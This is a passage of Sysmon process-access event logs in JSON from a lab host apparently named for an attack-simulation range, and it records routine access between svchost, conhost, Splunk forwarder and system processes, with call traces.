\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00103A210900}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00103A210900}","TargetProcessId":"1600","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.479\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 3340\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+57817|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+8a475|C:\\Windows\\system32\\wbem\\wbemcore.dll+bcb3|C:\\Windows\\system32\\wbem\\wbemcore.dll+3393|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2c9be|C:\\Windows\\system32\\wbem\\wbemcore.dll+202d8|C:\\Windows\\system32\\wbem\\wbemcore.dll+390e|C:\\Windows\\system32\\wbem\\wbemcore.dll+22bba|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.479","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"3340","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+57817|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+8a475|C:\\Windows\\system32\\wbem\\wbemcore.dll+bcb3|C:\\Windows\\system32\\wbem\\wbemcore.dll+3393|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2c9be|C:\\Windows\\system32\\wbem\\wbemcore.dll+202d8|C:\\Windows\\system32\\wbem\\wbemcore.dll+390e|C:\\Windows\\system32\\wbem\\wbemcore.dll+22bba|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.479\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 3340\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+57817|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+8a475|C:\\Windows\\system32\\wbem\\wbemcore.dll+bcb3|C:\\Windows\\system32\\wbem\\wbemcore.dll+3393|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2c9be|C:\\Windows\\system32\\wbem\\wbemcore.dll+202d8|C:\\Windows\\system32\\wbem\\wbemcore.dll+390e|C:\\Windows\\system32\\wbem\\wbemcore.dll+22bba|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.479","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"3340","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+57817|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+8a475|C:\\Windows\\system32\\wbem\\wbemcore.dll+bcb3|C:\\Windows\\system32\\wbem\\wbemcore.dll+3393|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2c9be|C:\\Windows\\system32\\wbem\\wbemcore.dll+202d8|C:\\Windows\\system32\\wbem\\wbemcore.dll+390e|C:\\Windows\\system32\\wbem\\wbemcore.dll+22bba|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.557\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-00103A210900}\r\nSourceProcessId: 1600\r\nSourceThreadId: 4448\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.557","SourceProcessGUID":"{90617006-422C-5F2D-0000-00103A210900}","SourceProcessId":"1600","SourceThreadId":"4448","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 